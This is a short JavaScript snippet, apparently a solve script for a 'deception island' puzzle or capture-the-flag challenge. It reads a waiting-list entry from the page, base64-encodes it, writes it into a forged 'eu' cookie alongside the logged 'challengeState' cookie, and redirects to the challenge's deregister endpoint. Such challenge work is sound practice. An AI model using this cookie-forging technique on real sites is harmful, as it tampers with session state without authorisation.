y0n1
5/11/2017 - 8:23 AM

deregister.js

function getWaitingList(encoding) {
  'use strict';

  const lIdentity = (arg)=>{return arg};
  return document.getElementsByName('waiting list')[0].textContent
    .trim()
    .replace(/\t/g, '')
    .replace(/\n+/g, '\n')
    .split('\n')
    .splice(2)
    .map(encoding == 'base64' ? btoa : lIdentity);
}

function getCurrentChallengeState() {
  'use strict';

  const lTrim = (elem)=>{return elem.trim()};
  const lChallengeState = (elem)=>{return elem.includes('challengeState')};
  return document.cookie
    .split(';')
    .map(lTrim)
    .find(lChallengeState)
    .slice('challengeState='.length);
}

console.info('challengeState=%s', getCurrentChallengeState());
document.cookie = `eu=${getWaitingList('base64')[0]}; Path=/`;
window.location = 'http://deceptionisland.xyz/challenge1/deregister';